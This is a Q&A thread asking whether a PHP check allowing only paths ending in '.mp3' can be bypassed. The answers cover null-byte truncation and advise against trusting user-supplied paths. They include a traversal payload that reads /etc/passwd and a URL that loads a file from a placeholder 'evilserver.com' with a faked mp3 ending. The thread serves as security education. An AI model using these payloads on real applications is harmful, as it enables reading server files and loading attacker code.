3

For example, there is function (pseudo code):

if ($_GET['path'] ENDS with .mp3 extension) { read($_GET['path']); }

but is it possible, that hacker in a some way, used a special symbol/method, i.e.:

path=file.php^example.mp3
or
path=file.php+example.mp3
or etc...

if something such symbol exists in php, as after that symbol, everything was ignored, and PHP tried to open file.php..

p.s. DONT POST ANSWERS about PROTECTION! I NEED TO KNOW IF THIS CODE can be bypassed, as I AM TO REPORT MANY SCRIPTS for this issue (if this is really an issue).

T.Todua
  • 53,146
  • 19
  • 236
  • 237
  • because this is so PHP-specific, I'm migrating. – schroeder May 15 '16 at 20:14
  • 1
    Depends on your implementation. Same as your query can be unsafe if you don't do them correctly. – Rizier123 May 15 '16 at 20:22
  • @schroeder it doesn't belong here either in my opinion. the null byte vuln is patched, so all that leaves is directory traversal and max string length of a parameter based attacks, which have been asked and answered ad nauseum. alot of the possible attacks are specific to the implementation of different features, so this becomes entirely too broad. – r3wt May 15 '16 at 21:43
  • @op defeating directory traversal: http://stackoverflow.com/a/4205278/2401804 – r3wt May 15 '16 at 21:47
  • @r3wt but max string length gives `The requested URL's length exceeds the capacity limit for this server.`.. – T.Todua May 16 '16 at 05:54

3 Answers3

2

if something such symbol exists in php, as after that symbol, everything was ignored, and PHP tried to open file.php..

Yes, such a symbol exists; it is called the 'null byte' ("\0").

Because in C (the language used to write the PHP engine) the end of a 'string' is signalled by the null byte. So, whenever a null byte is encountered, the string will end.

If you want the string to end with .mp3 you should manually append it.

Having said that, it is, generally speaking, a very bad idea to accept a user supplied path from a security standpoint (and I believe you are interested in the security aspect of this, because you originally posted this question on security.SE).

Consider the situation where:

 $_GET['path'] = "../../../../../etc/passwd\0";

or a variation on this theme.

Jacco
  • 23,534
  • 17
  • 88
  • 105
  • 1
    If you read in the comments of that manual page you will see that bug got fixed – Rizier123 May 15 '16 at 20:26
  • It may be fixed for this particular function, but believe me, this is a very well known attack vector; it is used in many entry level CTFs ('hacker contests'). – Jacco May 15 '16 at 20:28
1

The leading concept in programming is "Don't trust user input". So the main problem in your case is not a special character its how you work with your data. So you shouldn't use a path given by a user because the user can manipulate the path or other variables.

To escape a user input to prevent bad characters you can use htmlspecialchars or you can filter your get input with filter_input something like that:

$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);

René Höhle
  • 26,716
  • 22
  • 73
  • 82
1

WE CAN'T TELL IF YOU IF THE CODE CAN BE "BYPASSED" BECAUSE YOU'VE NOT GIVEN US ANY PHP CODE

As to the question of whether its possible to trick PHP into processing a file it shouldn't based on the end of the string, then the answer is only if there is another file somewhere else which has the same ending. However, by default, PHP will happily read from URLs using the same functionality as reading from local files, consider:

http://yourserver.com/yourscript.php?path=http%3A%2F%2Fevilserver.com%2Fpwnd_php.txt%3Ffake_end%3Dmp3
symcbean
  • 47,736
  • 6
  • 59
  • 94